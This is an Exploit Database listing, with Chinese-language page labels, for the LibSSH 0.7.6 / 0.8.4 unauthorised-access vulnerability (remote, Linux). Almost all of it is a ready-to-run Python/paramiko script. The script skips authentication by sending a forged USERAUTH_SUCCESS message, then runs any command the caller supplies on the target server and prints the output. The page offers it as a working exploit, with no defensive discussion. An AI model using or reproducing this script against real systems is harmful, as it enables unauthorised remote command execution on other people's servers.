LibSSH 0.7.6 / 0.8.4 – Unauthorized Access

• Exploit Database
• 133 阅读

• 作者： jas502n
  日期： 2018-10-20
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/46307/
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  #!/usr/bin/env python3 import sys import paramiko import socket import logging   # pip3 install paramiko==2.0.8   #logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) logging.basicConfig(stream=sys.stdout) bufsize = 2048       def execute(hostname, port, command): sock = socket.socket() try: sock.connect((hostname, int(port)))   message = paramiko.message.Message() transport = paramiko.transport.Transport(sock) transport.start_client()   message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message)   client = transport.open_session(timeout=10) client.exec_command(command)   # stdin = client.makefile("wb", bufsize) stdout = client.makefile("rb", bufsize) stderr = client.makefile_stderr("rb", bufsize)   output = stdout.read() error = stderr.read()   stdout.close() stderr.close()   return (output+error).decode() except paramiko.SSHException as e: logging.exception(e) logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable") except socket.error: logging.debug("Unable to connect.")   return None     if __name__ == '__main__': print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))